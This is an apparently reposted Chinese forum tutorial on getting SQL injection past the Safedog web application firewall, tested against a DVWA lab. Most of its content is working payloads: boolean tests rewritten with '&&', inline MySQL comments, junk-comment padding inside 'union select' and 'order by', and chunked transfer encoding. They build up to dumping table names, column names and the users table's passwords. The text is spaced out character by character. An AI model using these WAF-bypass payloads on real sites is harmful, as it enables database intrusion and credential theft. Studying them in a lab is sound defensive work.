搜索

[21851] 2021-04-07_干货绕过WAF的常见Web漏洞利用分析

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-04-07_干货绕过WAF的常见Web漏洞利用分析 干 货   |   绕 过 W A F 的 常 见 W e b 漏 洞 利 用 分 析 L e m o n S e c   2 0 2 1 - 0 4 - 0 7 前 言 前 言 本 文 以 最 新 版 安 全 狗 为 例 ， 总 结 一 下 我 个 人 掌 握 的 一 些 绕 过 W A F 进 行 常 见 W E B 漏 洞 利 用 的 方 法 ， 希 望 能 起 到 抛 砖 引 玉 的 效 果 。 如 果 师 傅 们 有 更 好 的 方 法 ， 烦 请 不 吝 赐 教 。 P S ： 本 文 仅 用 于 技 术 研 究 与 讨 论 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 ， 作 者 与 平 台 不 承 担 任 何 责 任 测 试 环 境 测 试 环 境 P H P S t u d y （ P H P 5 . 4 . 4 5 + A p a c h e + M y S Q L 5 . 5 . 5 3 ） + 最 新 版 安 全 狗 （ 4 . 0 . 2 8 3 3 0 ） 靶 场 使 用 D V W A ： h t t p : / / w w w . d v w a . c o . u k / S Q L 注 入 注 入 判 断 是 否 存 在 注 入 判 断 是 否 存 在 注 入 方 法 一 方 法 一
a n d   1 = 1 被 拦 截 单 独 的 a n d 是 不 拦 截 的 。 a n d 后 面 加 数 字 或 者 字 符 的 表 达 式 会 被 匹 配 拦 截 。 1 = 1 ， 1 = 2 的 本 质 是 构 造 一 个 真 、 假 值 ， 我 们 可 以 直 接 用 T r u e , F a l s e 代 替 但 是 依 然 会 被 拦 截 。 不 过 a n d 也 可 以 用   & &   代 替 。 我 们 构 造 1 ’   & &   T r u e   — +   就 可 绕 过 1 ’   & &   F a l s e   — +
方 法 二 方 法 二 将 a n d   后 面 的 数 字 或 者 字 符 表 达 式 加 几 个 内 联 注 释 也 可 以 绕 过 。 内 联 注 释 ： /   /   在 m y s q l 中 是 多 行 注 释   但 是 如 果 里 面 加 了 !   那 么 后 面 的 内 容 会 被 执 行 。 这 些 语 句 在 不 兼 容 的 数 据 库 中 使 用 时 便 不 会 执 行 如 ： 1 ’   a n d   / ! 1 / = / ! 1 /   — + 1 ’   a n d   / ! 1 / = / ! 2 /   — + 方 法 三 方 法 三     分 块 传 输 分 块 传 输 分 块 传 输 的 原 理 请 自 行 检 索 ， 这 里 不 再 赘 述 。 分 块 传 输 的 原 理 请 自 行 检 索 ， 这 里 不 再 赘 述 。 分 块 传 输 插 件 ： h t t p s : / / g i t h u b . c o m / c 0 n y 1 / c h u n k e d - c o d i n g - c o n v e r t e r / r e l e a s e s / t a g / 0 . 2 . 1
正 常 写 测 试 p a y l o a d   :         1 ’   a n d   1 = 1   — + 将 请 求 方 式 改 为 P O S T ， 然 后 进 行 分 块 传 输 编 码 可 以 看 到 ， 没 有 被 拦 截 。 1 ’   a n d   1 = 2   — +
猜 解 字 段 数 猜 解 字 段 数 方 法 一 方 法 一 o r d e r   b y 被 拦 截 单 独 的 o r d e r 和 单 独 的 b y 都 不 会 被 拦 截 ， 我 们 需 要 在 o r d e r   b y 之 间 加 各 种 无 效 字 符 。 可 以 将   1 '   o r d e r   / * $ x x x $ * /   b y   1   - - +     放 b u r p 里 跑 各 种 垃 圾 参 数 字 典 来 爆 破 。 经 过 测 试 ， 1 ’   o r d e r / % % ! a s d % % % % / b y   3   — + 可 以 成 功 过 狗 通 过 内 联 注 释 / ! / 和 注 释 / * * / 以 及 一 些 无 效 字 符 也 可 以 绕 过 （ 需 要 不 断 F u z z 尝 试 ） 1 ’   / ! o r d e r / ! / * / / b y /   3   — + * 方 法 二 方 法 二   分 块 传 输 分 块 传 输 1 ’   o r d e r   b y   3   — +
获 取 当 前 数 据 库 获 取 当 前 数 据 库 方 法 一 方 法 一 1 ’   u n i o n   s e l e c t   1 , d a t a b a s e ( )   — +   被 拦 截 分 开 测 试     u n i o n   s e l e c t   会 被 拦 截 d a t a b a s e ( )   也 会 被 拦 截
先 绕 过 u n i o n   s e l e c t ： 和 之 前 o r d e r   b y 的 绕 过 方 法 一 样 1 ’   u n i o n / % % ! a s d % % % % / s e l e c t   1 , 2   — + 再 绕 过 d a t a b a s e ( ) ： 经 过 测 试 ， 我 们 发 现 单 独 的 d a t a b a s e 不 会 被 拦 截 ， 加 了 括 号 就 会 了 我 们 将 之 前 的 垃 圾 数 据 / % % ! a s d % % % % / 放 到 括 号 了 ， 即 可 成 功 绕 过 拼 接 一 下 ， 最 终 的 p a y l o a d 为 ： 1 ’   u n i o n / % % ! a s d % % % % / s e l e c t   1 , d a t a b a s e ( / % % ! a s d % % % % / )   — + 方 法 二 方 法 二   分 块 传 输 分 块 传 输
分 块 传 输 依 然 可 以 1 ’   u n i o n   s e l e c t   1 , d a t a b a s e ( )   — + 获 取 数 据 库 中 的 表 获 取 数 据 库 中 的 表 方 法 一 方 法 一 正 常 注 入 语 句 ： 1 ’   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   — + 根 据 前 面 的 测 试 ， 这 个 绕 过 就 很 简 单 了 ， 只 需 要 将 一 个 空 格 地 方 替 换 成 / % % ! a s d % % % % / 即 可 。 P a y l o a d ： 1 ’   u n i o n / % % ! a s d % % % % / s e l e c t   1 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   / % % ! a s d % % % % / f r o m / % % ! a s d % % % % / i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( / % % ! a s d % % % % / )   — +
方 法 二 方 法 二   分 块 传 输 分 块 传 输 获 取 表 中 的 字 段 名 获 取 表 中 的 字 段 名 方 法 一 方 法 一 正 常 注 入 语 句 ： 1 ’   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ’ u s e r s ’   — + 绕 过 方 法 和 获 取 表 的 操 作 无 异 : 1 ’   u n i o n / % % ! a s d % % % % / s e l e c t   1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e ) / % % ! a s d % % % % / f r o m / % % ! a s d % % % % / i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ’ u s e r s ’   — +
方 法 二 方 法 二   分 块 传 输 分 块 传 输 获 取 数 据 获 取 数 据 方 法 一 方 法 一 正 常 注 入 语 句 ： 1 ’   u n i o n   s e l e c t   g r o u p _ c o n c a t ( u s e r ) , g r o u p _ c o n c a t ( p a s s w o r d )   f r o m   u s e r s   — + 绕 过 方 法 还 是 一 样 ： 1 ’   u n i o n / % % ! a s d % % % % / s e l e c t   g r o u p _ c o n c a t ( u s e r ) , g r o u p _ c o n c a t ( p a s s w o r d ) / % % ! a s d % % % % / f r o m / % % ! a s d % % % % / u s e r s   — +
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理